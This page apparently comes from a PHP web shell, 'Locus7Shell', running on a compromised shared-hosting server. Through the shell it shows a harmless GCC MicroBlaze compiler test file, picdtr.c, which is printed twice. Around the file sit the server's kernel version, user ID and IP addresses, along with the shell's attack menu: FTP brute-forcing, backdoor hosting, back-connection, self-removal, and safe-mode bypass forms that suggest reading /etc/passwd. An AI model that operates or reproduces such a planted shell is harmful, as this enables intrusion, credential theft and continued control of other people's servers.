Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/microblaze/others/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     picdtr.c (3.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-options "-fPIE -mpic-data-text-rel -save-temps" } */
/* { dg-do run } */

#define TEST_VAR(var,val) (var) = (val); if( (var) != (val)) return 0;

int foo(unsigned int i);
extern void abort(void);
extern void exit(int);

unsigned char data[8];
long bigData[7];
long var;
typedef struct {int a; short b; long c[1000][1000]; long long d[3][3]; char e; } myDef;
myDef def;
const char* myString;

/* { dg-final { scan-assembler "mfs\tr20,rpc" } } */
/* { dg-final { scan-assembler "addik\tr20,r20,8@TXTPCREL" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*var\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*var" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*bigData\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*bigData" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*def\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*def" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*data\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*data" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*L\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*L" } } */



void foo2() {
    var++;
}

int foo (unsigned int i) {

    TEST_VAR(var,123)
    TEST_VAR(data[i],77)
    TEST_VAR(data[2],88)
    TEST_VAR(def.a,897)
    TEST_VAR(bigData[i],78)
    TEST_VAR(bigData[2],777)
    TEST_VAR(def.b,12333);
    TEST_VAR(def.c[i][i],5);
    TEST_VAR(def.c[0][1],7);
    TEST_VAR(def.d[1][2],123);
    TEST_VAR(def.e,7);
    TEST_VAR(bigData[i+1],bigData[i*2]);

    foo2();

    myString = "Hello";

    switch(i){

    case 1: var += 2; break;
    case 2: var += 3; break;
    case 3: var += 5; break;
    case 4: var += 7; break;
    case 5: var += 8; break;
    default: var = 0;

    }

    return 1;

}

int main() {

    int result = foo(3);
    if(result != 1 || var != 129) {
        abort();
    }

    exit(0);

}

/* { dg-options "-fPIE -mpic-data-is-text-relative -save-temps" } */
/* { dg-do run } */

#define TEST_VAR(var,val) (var) = (val); if( (var) != (val)) return 0;

int foo(unsigned int i);
extern void abort(void);
extern void exit(int);

unsigned char data[8];
long bigData[7];
long var;
typedef struct {int a; short b; long c[1000][1000]; long long d[3][3]; char e; } myDef;
myDef def;
const char* myString;

/* { dg-final { scan-assembler "mfs\tr20,rpc" } } */
/* { dg-final { scan-assembler "addik\tr20,r20,8@TXTPCREL" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*var\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*var" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*bigData\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*bigData" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*def\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*def" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*data\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*data" } } */
/* { dg-final { scan-assembler ",r20,\[^\n]*L\[^\n]*@TXTREL" } } */
/* { dg-final { scan-assembler-not ",r0,\[^\n]*L" } } */



void foo2() {
    var++;
}

int foo (unsigned int i) {

    TEST_VAR(var,123)
    TEST_VAR(data[i],77)
    TEST_VAR(data[2],88)
    TEST_VAR(def.a,897)
    TEST_VAR(bigData[i],78)
    TEST_VAR(bigData[2],777)
    TEST_VAR(def.b,12333);
    TEST_VAR(def.c[i][i],5);
    TEST_VAR(def.c[0][1],7);
    TEST_VAR(def.d[1][2],123);
    TEST_VAR(def.e,7);
    TEST_VAR(bigData[i+1],bigData[i*2]);

    foo2();

    myString = "Hello";

    switch(i){

    case 1: var += 2; break;
    case 2: var += 3; break;
    case 3: var += 5; break;
    case 4: var += 7; break;
    case 5: var += 8; break;
    default: var = 0;

    }

    return 1;

}

int main() {

    int result = foo(3);
    if(result != 1 || var != 129) {
        abort();
    }

    exit(0);

}


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0069 ]--